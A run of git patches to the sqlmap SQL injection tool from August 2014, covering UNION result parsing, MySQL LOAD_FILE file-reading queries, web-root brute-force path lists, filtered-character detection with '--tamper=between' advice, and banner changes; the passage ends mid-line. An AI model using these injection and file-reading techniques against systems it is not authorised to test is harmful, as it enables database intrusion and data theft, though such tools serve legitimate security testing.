+- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 6a1853539..b80862f22 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1314,7 +1314,7 @@ def parseUnionPage(page): if page is None: return None - if page.startswith(kb.chars.start) and page.endswith(kb.chars.stop): + if re.search("(?si)\A%s.*%s\Z" % (kb.chars.start, kb.chars.stop), page): if len(page) > LARGE_OUTPUT_THRESHOLD: warnMsg = "large output detected. This might take a while" logger.warn(warnMsg) From 0fb576724e1d94863d34655cf71b4999cfc56c79 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 13 Aug 2014 22:50:42 +0200 Subject: [PATCH 398/889] Implementation for cases when there are multiple copies/variations of the same result(s) in response for partial UNION SQLi --- lib/techniques/union/use.py | 19 +++++++++++++++---- 1 file changed, 15 insertions(+), 4 deletions(-) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index eea95e7e7..c0bfdab24 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -52,6 +52,7 @@ from lib.core.threads import runThreads from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar +from thirdparty.odict.odict import OrderedDict def _oneShotUnionUse(expression, unpack=True, limited=False): retVal = hashDBRetrieve("%s%s" % (conf.hexConvert, expression), checkConf=True) # as union data is stored raw unconverted @@ -276,12 +277,22 @@ def unionUse(expression, unpack=True, dump=False): with kb.locks.value: if all(map(lambda _: _ in output, (kb.chars.start, kb.chars.stop))): items = parseUnionPage(output) - + if threadData.shared.showEta: threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter) - # in case that we requested N columns and we get M!=N then we have to filter a bit - if isListLike(items) and len(items) > 1 and len(expressionFieldsList) > 1: - items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)] + if isListLike(items): + # in case that we requested N columns and we get M!=N then we have to filter a bit + if len(items) > 1 and len(expressionFieldsList) > 1: + items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)] + items = [_ for _ in flattenValue(items)] + if len(items) > len(expressionFieldsList): + filtered = OrderedDict() + for item in items: + key = re.sub(r"[^A-Za-z0-9]", "", item).lower() + if key not in filtered or re.search(r"[^A-Za-z0-9]", item): + filtered[key] = item + items = filtered.values() + items = [items] index = None for index in xrange(len(threadData.shared.buffered)): if threadData.shared.buffered[index][0] >= num: From 30fb8e8a50c3fc8044053ae056f5b9b34c00b941 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 16 Aug 2014 14:23:07 +0200 Subject: [PATCH 399/889] Patch regarding Issue #774 (SELECT is redundant in case of LOAD_FILE) --- plugins/dbms/mysql/filesystem.py | 2 +- plugins/generic/filesystem.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index 0be2fd0bd..4944a9c5e 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -29,7 +29,7 @@ class Filesystem(GenericFilesystem): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) - result = inject.getValue("SELECT HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL) + result = inject.getValue("HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL) return result diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 11617ae98..18df285d1 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -38,7 +38,7 @@ class Filesystem: def _checkFileLength(self, localFile, remoteFile, fileRead=False): if Backend.isDbms(DBMS.MYSQL): - lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % remoteFile + lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile elif Backend.isDbms(DBMS.PGSQL) and not fileRead: lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid From a8b4b96cd98be28d60a3e9f9195743d2e5d7ebe1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 16 Aug 2014 15:16:03 +0200 Subject: [PATCH 400/889] Extending list for brute forcing doc root --- lib/core/settings.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index a9628d985..c49cc4fd2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -579,12 +579,12 @@ NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File." # Prefixes used in brute force search for web server document root BRUTE_DOC_ROOT_PREFIXES = { - OS.LINUX: ("/var/www", "/srv/www", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%", "/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%"), + OS.LINUX: ("/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24", "/usr/local/httpd", "/srv/www", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%", "/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%"), OS.WINDOWS: ("/xampp", "/Program Files/xampp/", "/wamp", "/Program Files/wampp/", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%") } # Suffixes used in brute force search for web server document root -BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "sites/all", "www/build") +BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "data", "sites/all", "www/build") # String used for marking target name inside used brute force web server document root BRUTE_DOC_ROOT_TARGET_MARK = "%TARGET%" From 7d578d395f2bd0dc5f869f6ced14ee4d63208065 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 16 Aug 2014 16:01:18 +0200 Subject: [PATCH 401/889] Minor update for Apache on Windows --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index c49cc4fd2..3289563ba 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -580,7 +580,7 @@ NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File." # Prefixes used in brute force search for web server document root BRUTE_DOC_ROOT_PREFIXES = { OS.LINUX: ("/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24", "/usr/local/httpd", "/srv/www", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%", "/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%"), - OS.WINDOWS: ("/xampp", "/Program Files/xampp/", "/wamp", "/Program Files/wampp/", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%") + OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/apache", "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%") } # Suffixes used in brute force search for web server document root From cd92de1702de04c0a112a0596e5301b2c8be85af Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 19 Aug 2014 22:19:22 +0200 Subject: [PATCH 402/889] Adding colorful banner --- lib/core/common.py | 5 ++++- lib/core/settings.py | 10 +++++++++- 2 files changed, 13 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index b80862f22..31b37cd79 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -80,6 +80,7 @@ from lib.core.exception import SqlmapSyntaxException from lib.core.exception import SqlmapUserQuitException from lib.core.log import LOGGER_HANDLER from lib.core.optiondict import optDict +from lib.core.settings import BANNER from lib.core.settings import BOLD_PATTERNS from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES from lib.core.settings import BRUTE_DOC_ROOT_SUFFIXES @@ -986,7 +987,9 @@ def banner(): This function prints sqlmap banner with its version """ - _ = """\n %s - %s\n %s\n\n""" % (VERSION_STRING, DESCRIPTION, SITE) + _ = BANNER + if not getattr(LOGGER_HANDLER, "is_tty", False): + _ = re.sub("\033.+?m", "", _) dataToStdout(_, forceOutput=True) def parsePasswordHash(password): diff --git a/lib/core/settings.py b/lib/core/settings.py index 3289563ba..ea78d0591 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,13 +19,21 @@ from lib.core.revision import getRevisionNumber # sqlmap version and site VERSION = "1.0-dev" REVISION = getRevisionNumber() -VERSION_STRING = "sqlmap/%s%s" % (VERSION, "-%s" % REVISION if REVISION else "") +VERSION_STRING = "sqlmap/%s%s" % (VERSION, "-%s" % REVISION if REVISION else "-nongit") DESCRIPTION = "automatic SQL injection and database takeover tool" SITE = "http://sqlmap.org" ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new" GIT_REPOSITORY = "git://github.com/sqlmapproject/sqlmap.git" ML = "sqlmap-users@lists.sourceforge.net" +# colorful banner +BANNER = """\033[01;33m _ + ___ ___| |_____ ___ ___ \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m +|_ -| . | | | .'| . | +|___|_ |_|_|_|_|__,| _| + |_| |_| \033[0m\033[4m%s\033[0m\n +""" % ((31 + hash(REVISION) % 6) if REVISION else 30, VERSION_STRING.split('/')[-1], SITE) + # Minimum distance of ratio from kb.matchRatio to result in True DIFF_TOLERANCE = 0.05 CONSTANT_RATIO = 0.9 From b0465a6a7649f0c5fc310ab79af2a977d4c5557b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 19 Aug 2014 22:32:16 +0200 Subject: [PATCH 403/889] Adding a revision scheme for nongit checkouts --- lib/core/settings.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index ea78d0591..0c6084090 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -10,6 +10,7 @@ import re import subprocess import string import sys +import time from lib.core.enums import DBMS from lib.core.enums import DBMS_DIRECTORY_NAME @@ -19,7 +20,7 @@ from lib.core.revision import getRevisionNumber # sqlmap version and site VERSION = "1.0-dev" REVISION = getRevisionNumber() -VERSION_STRING = "sqlmap/%s%s" % (VERSION, "-%s" % REVISION if REVISION else "-nongit") +VERSION_STRING = "sqlmap/%s%s" % (VERSION, "-%s" % REVISION if REVISION else "-nongit-%s" % time.strftime("%Y%M%d", time.gmtime(os.path.getctime(__file__)))) DESCRIPTION = "automatic SQL injection and database takeover tool" SITE = "http://sqlmap.org" ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new" From 5a0527109750359de28692bdd2e04706734852d0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 19 Aug 2014 22:34:07 +0200 Subject: [PATCH 404/889] Minor fix --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0c6084090..db7341565 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.revision import getRevisionNumber # sqlmap version and site VERSION = "1.0-dev" REVISION = getRevisionNumber() -VERSION_STRING = "sqlmap/%s%s" % (VERSION, "-%s" % REVISION if REVISION else "-nongit-%s" % time.strftime("%Y%M%d", time.gmtime(os.path.getctime(__file__)))) +VERSION_STRING = "sqlmap/%s%s" % (VERSION, "-%s" % REVISION if REVISION else "-nongit-%s" % time.strftime("%Y%m%d", time.gmtime(os.path.getctime(__file__)))) DESCRIPTION = "automatic SQL injection and database takeover tool" SITE = "http://sqlmap.org" ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new" From 4dd6887ea43f1e999aa2319ed784d15e70f69fe1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 19 Aug 2014 22:48:18 +0200 Subject: [PATCH 405/889] Fix for an Issue #793 --- thirdparty/clientform/clientform.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/thirdparty/clientform/clientform.py b/thirdparty/clientform/clientform.py index 2a4f948f3..0169c5aaf 100644 --- a/thirdparty/clientform/clientform.py +++ b/thirdparty/clientform/clientform.py @@ -2450,7 +2450,7 @@ class SubmitControl(ScalarControl): # IE5 defaults SUBMIT value to "Submit Query"; Firebird 0.6 leaves it # blank, Konqueror 3.1 defaults to "Submit". HTML spec. doesn't seem # to define this. - if self.value is None: self.value = "" + if self.value is None and not self.disabled: self.value = "" self.readonly = True def get_labels(self): From 77ba63b0603f49842cdd7b12430c1a8199ca1bb6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 19 Aug 2014 23:56:04 +0200 Subject: [PATCH 406/889] Minor language update --- plugins/generic/users.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/plugins/generic/users.py b/plugins/generic/users.py index 7a904bfdd..94599c8bb 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -114,7 +114,9 @@ class Users: count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - if not isNumPosStrValue(count): + if count == 0: + return kb.data.cachedUsers + elif not isNumPosStrValue(count): errMsg = "unable to retrieve the number of database users" raise SqlmapNoneDataException(errMsg) @@ -294,7 +296,7 @@ class Users: if not kb.data.cachedUsersPasswords: errMsg = "unable to retrieve the password hashes for the " - errMsg += "database users (most probably because the session " + errMsg += "database users (probably because the session " errMsg += "user has no read privileges over the relevant " errMsg += "system database table)" logger.error(errMsg) From c12e51173a733c9b6054308c0d2a6becb58ba257 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 20 Aug 2014 00:28:33 +0200 Subject: [PATCH 407/889] Minor style update --- lib/techniques/union/test.py | 4 ++-- lib/techniques/union/use.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index 76e5e09f6..451eb0f1e 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -278,7 +278,7 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) test = readInput(message, default="Y") if test[0] not in ("y", "Y"): warnMsg += "usage of option '--union-char' " - warnMsg += "(e.g. --union-char=1) " + warnMsg += "(e.g. '--union-char=1') " else: conf.uChar = kb.uChar = str(randomInt(2)) validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count) @@ -288,7 +288,7 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) warnMsg += "and/or try to force the " else: warnMsg += "forcing the " - warnMsg += "back-end DBMS (e.g. --dbms=mysql) " + warnMsg += "back-end DBMS (e.g. '--dbms=mysql') " if not all([validPayload, vector]) and not warnMsg.endswith("consider "): singleTimeWarnMessage(warnMsg) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index c0bfdab24..42e36deb9 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -316,7 +316,7 @@ def unionUse(expression, unpack=True, dump=False): del threadData.shared.buffered[0] if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta: - status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))))) + status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join("'%s'" % _ for _ in flattenValue(arrayizeValue(items))))) if len(status) > width: status = "%s..." % status[:width - 3] From ebc964267f2372ac8874c1873a8481059879c782 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 20 Aug 2014 01:11:26 +0200 Subject: [PATCH 408/889] Better reporting on filtered-chars cases --- lib/controller/checks.py | 39 ++++++++++++++++++++++++++------------- 1 file changed, 26 insertions(+), 13 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 7c994ccf8..4d4c69cd1 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -619,6 +619,7 @@ def checkSqlInjection(place, parameter, value): if injection: checkSuhosinPatch(injection) + checkFilteredChars(injection) return injection @@ -668,8 +669,6 @@ def checkFalsePositives(injection): kb.injection = injection - # Simple arithmetic operations which should show basic - # arithmetic ability of the backend if it's really injectable for i in xrange(conf.level): randInt1, randInt2, randInt3 = (_() for j in xrange(3)) @@ -690,29 +689,22 @@ def checkFalsePositives(injection): if PAYLOAD.TECHNIQUE.BOOLEAN not in injection.data: checkBooleanExpression("%d=%d" % (randInt1, randInt2)) - if checkBooleanExpression("%d>%d" % (randInt1, randInt2)): + if checkBooleanExpression("%d=%d" % (randInt1, randInt3)): retVal = None break - elif checkBooleanExpression("%d>%d" % (randInt2, randInt3)): + elif checkBooleanExpression("%d=%d" % (randInt3, randInt2)): retVal = None break - elif not checkBooleanExpression("%d>%d" % (randInt3, randInt1)): + elif not checkBooleanExpression("%d=%d" % (randInt2, randInt2)): retVal = None break if retVal is None: - warnMsg = "false positive or unexploitable injection point detected" + warnMsg = "false positive injection point detected" logger.warn(warnMsg) - if PAYLOAD.TECHNIQUE.BOOLEAN in injection.data: - if all(_.__name__ != "between" for _ in kb.tamperFunctions): - warnMsg = "there is a possibility that the character '>' is " - warnMsg += "filtered by the back-end server. You can try " - warnMsg += "to rerun with '--tamper=between'" - logger.warn(warnMsg) - kb.injection = popValue() return retVal @@ -736,6 +728,27 @@ def checkSuhosinPatch(injection): kb.injection = popValue() +def checkFilteredChars(injection): + pushValue(kb.injection) + + kb.injection = injection + randInt = randomInt() + + if not checkBooleanExpression("(%d)=%d" % (randInt, randInt)): + warnMsg = "it appears that some non-alphanumeric characters (i.e. ()) are " + warnMsg += "filtered by the back-end server. There is a strong " + warnMsg += "possibility that sqlmap won't be able to properly " + warnMsg += "exploit this vulnerability" + logger.critical(warnMsg) + + if not checkBooleanExpression("%d>%d" % (randInt+1, randInt)): + warnMsg = "it appears that the character '>' is " + warnMsg += "filtered by the back-end server. You are strongly " + warnMsg += "advised to rerun with the '--tamper=between'" + logger.warn(warnMsg) + + kb.injection = popValue() + def heuristicCheckSqlInjection(place, parameter): if kb.nullConnection: debugMsg = "heuristic check skipped " From 6caccc3d930cf81e7224720c1d341398d74a41ca Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 20 Aug 2014 01:38:01 +0200 Subject: [PATCH 409/889] Bug fix for ultra-slow processing of binary data --- lib/request/connect.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/request/connect.py b/lib/request/connect.py index b3e4bbfdf..f8c3ae75d 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -568,6 +568,10 @@ class Connect(object): raise SqlmapConnectionException(warnMsg) finally: + if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and responseHeaders[HTTP_HEADER.CONTENT_TYPE] in ("application/octet-stream",): + page = unicode(page, errors="replace") + else: + page = page if isinstance(page, unicode) else getUnicode(page) page = page if isinstance(page, unicode) else getUnicode(page) socket.setdefaulttimeout(conf.timeout) From d08c1b7c04712bbc789c8358abc319c46eeef817 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 20 Aug 2014 01:45:42 +0200 Subject: [PATCH 410/889] Minor update --- lib/controller/checks.py | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 4d4c69cd1..0fc8aa2ec 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -702,7 +702,7 @@ def checkFalsePositives(injection): break if retVal is None: - warnMsg = "false positive injection point detected" + warnMsg = "false positive or unexploitable injection point detected" logger.warn(warnMsg) kb.injection = popValue() @@ -715,13 +715,17 @@ def checkSuhosinPatch(injection): """ if injection.place == PLACE.GET: + debugMsg = "checking for parameter length " + debugMsg += "constrainting mechanisms" + logger.debug(debugMsg) + pushValue(kb.injection) kb.injection = injection randInt = randomInt() if not checkBooleanExpression("%d=%s%d" % (randInt, ' ' * SUHOSIN_MAX_VALUE_LENGTH, randInt)): - warnMsg = "parameter length constraint " + warnMsg = "parameter length constrainting " warnMsg += "mechanism detected (e.g. Suhosin patch). " warnMsg += "Potential problems in enumeration phase can be expected" logger.warn(warnMsg) @@ -729,6 +733,9 @@ def checkSuhosinPatch(injection): kb.injection = popValue() def checkFilteredChars(injection): + debugMsg = "checking for filtered characters" + logger.debug(debugMsg) + pushValue(kb.injection) kb.injection = injection From 6795b51c7e2c7fc6dc44360362163b5bcf640557 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 20 Aug 2014 01:59:30 +0200 Subject: [PATCH 411/889] Another minor update --- lib/controller/checks.py | 26 +++++++++++++++----------- 1 file changed, 15 insertions(+), 11 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 0fc8aa2ec..001c66bc8 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -741,18 +741,22 @@ def checkFilteredChars(injection): kb.injection = injection randInt = randomInt() - if not checkBooleanExpression("(%d)=%d" % (randInt, randInt)): - warnMsg = "it appears that some non-alphanumeric characters (i.e. ()) are " - warnMsg += "filtered by the back-end server. There is a strong " - warnMsg += "possibility that sqlmap won't be able to properly " - warnMsg += "exploit this vulnerability" - logger.critical(warnMsg) + # all other techniques are already using parentheses in tests + if len(injection.data) == 1 and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data: + if not checkBooleanExpression("(%d)=%d" % (randInt, randInt)): + warnMsg = "it appears that some non-alphanumeric characters (i.e. ()) are " + warnMsg += "filtered by the back-end server. There is a strong " + warnMsg += "possibility that sqlmap won't be able to properly " + warnMsg += "exploit this vulnerability" + logger.critical(warnMsg) - if not checkBooleanExpression("%d>%d" % (randInt+1, randInt)): - warnMsg = "it appears that the character '>' is " - warnMsg += "filtered by the back-end server. You are strongly " - warnMsg += "advised to rerun with the '--tamper=between'" - logger.warn(warnMsg) + # inference techniques depend on character '>' + if not any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.QUERY)): + if not checkBooleanExpression("%d>%d" % (randInt+1, randInt)): + warnMsg = "it appears that the character '>' is " + warnMsg += "filtered by the back-end server. You are strongly " + warnMsg += "advised to rerun with the '--tamper=between'" + logger.warn(warnMsg) kb.injection = popValue() From dfa426fbb51fe4e65dee2ffe561fa703a3f99d52 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 20 Aug 2014 13:32:32 +0200 Subject: [PATCH 412/889] Minor style update --- lib/core/option.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index 6bf520c7e..28bf162f3 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1371,7 +1371,7 @@ def _setHTTPUserAgent(): userAgent = random.sample(kb.userAgents or [_defaultHTTPUserAgent()], 1)[0] infoMsg = "fetched random HTTP User-Agent header from " - infoMsg += "file '%s': %s" % (paths.USER_AGENTS, userAgent) + infoMsg += "file '%s': '%s'" % (paths.USER_AGENTS, userAgent) logger.info(infoMsg) conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, userAgent)) From 7828f616421e039cac3650f1f4356ce8bae76723 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 20 Aug 2014 13:35:41 +0200 Subject: [PATCH 413/889] Minor style update --- lib/controller/checks.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 001c66bc8..70f3c9765 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -748,7 +748,7 @@ def checkFilteredChars(injection): warnMsg += "filtered by the back-end server. There is a strong " warnMsg += "possibility that sqlmap won't be able to properly " warnMsg += "exploit this vulnerability" - logger.critical(warnMsg) + logger.warn(warnMsg) # inference techniques depend on character '>' if not any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.QUERY)): From b4fbb9cafe9aa7c43d65b6d5264399d314293b07 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 20 Aug 2014 13:52:48 +0200 Subject: [PATCH 414/889] Minor upgrade --- lib/request/connect.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index f8c3ae75d..19e62fdcb 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -568,7 +568,7 @@ class Connect(object): raise SqlmapConnectionException(warnMsg) finally: - if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and responseHeaders[HTTP_HEADER.CONTENT_TYPE] in ("application/octet-stream",): + if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(r"(?i)(text|form|message|xml|javascript|ecmascript|json)", responseHeaders[HTTP_HEADER.CONTENT_TYPE]): page = unicode(page, errors="replace") else: page = page if isinstance(page, unicode) else getUnicode(page) From 07f881e711ddbc1691bf8a34c9380b84e3fd703c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 20 Aug 2014 14:02:04 +0200 Subject: [PATCH 415/889] Minor fix --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index db7341565..a544f41bb 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -254,7 +254,7 @@ ERROR_PARSING_REGEXES = ( ) # Regular expression used for parsing charset info from meta html headers -META_CHARSET_REGEX = r'(?si).*]+charset=(?P[^">]+).*' +META_CHARSET_REGEX = r'(?si).*]+charset="?(?P[^"> ]+).*' # Regular expression used for parsing refresh info from meta html headers META_REFRESH_REGEX = r'(?si).*]+content="?[^">]+url=["\']?(?P[^\'">]+).*' From ff8bfff87a153769dde9fda348e6c916feb33f9f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 20 Aug 2014 14:45:58 +0200 Subject: [PATCH 416/889] Bug fix (FreeBSD != Linux) --- xml/banner/server.xml | 48 +++++++++++++++++++++---------------------- 1 file changed, 24 insertions(+), 24 deletions(-) diff --git a/xml/banner/server.xml b/xml/banner/server.xml index bb0b11f59..0fcb29519 100644 --- a/xml/banner/server.xml +++ b/xml/banner/server.xml @@ -252,99 +252,99 @@ - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + From c97782cfedc0369c21a34a45ad4d595350b38342 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 20 Aug 2014 15:10:21 +0200 Subject: [PATCH 417/889] Minor update of banner --- lib/core/settings.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index a544f41bb..ee6ccc6f7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -6,6 +6,7 @@ See the file 'doc/COPYING' for copying permission """ import os +import random import re import subprocess import string @@ -28,12 +29,13 @@ GIT_REPOSITORY = "git://github.com/sqlmapproject/sqlmap.git" ML = "sqlmap-users@lists.sourceforge.net" # colorful banner +_ = random.sample(('o', 'x', '^', 'p'), 1)[0] BANNER = """\033[01;33m _ - ___ ___| |_____ ___ ___ \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m + ___ ___| |_%s_%s_ ___ ___ \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| |_| |_| \033[0m\033[4m%s\033[0m\n -""" % ((31 + hash(REVISION) % 6) if REVISION else 30, VERSION_STRING.split('/')[-1], SITE) +""" % (_, _, (31 + hash(REVISION) % 6) if REVISION else 30, VERSION_STRING.split('/')[-1], SITE) # Minimum distance of ratio from kb.matchRatio to result in True DIFF_TOLERANCE = 0.05 From e0216771edec8df57a26afd1bdb2d95d4625327e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 20 Aug 2014 15:23:07 +0200 Subject: [PATCH 418/889] Minor update --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index ee6ccc6f7..d8340153e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -403,7 +403,7 @@ ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" DUMMY_SQL_INJECTION_CHARS = ";()'" # Simple check against dummy users -DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b" +DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\A-\d+\Z" # Extensions skipped by crawler CRAWL_EXCLUDE_EXTENSIONS = ("gif", "jpg", "jpeg", "image", "jar", "tif", "bmp", "war", "ear", "mpg", "mpeg", "wmv", "mpeg", "scm", "iso", "dmp", "dll", "cab", "so", "avi", "mkv", "bin", "iso", "tar", "png", "pdf", "ps", "wav", "mp3", "mp4", "au", "aiff", "aac", "zip", "rar", "7z", "gz", "flv", "mov", "doc", "docx", "xls", "dot", "dotx", "xlt", "xlsx", "ppt", 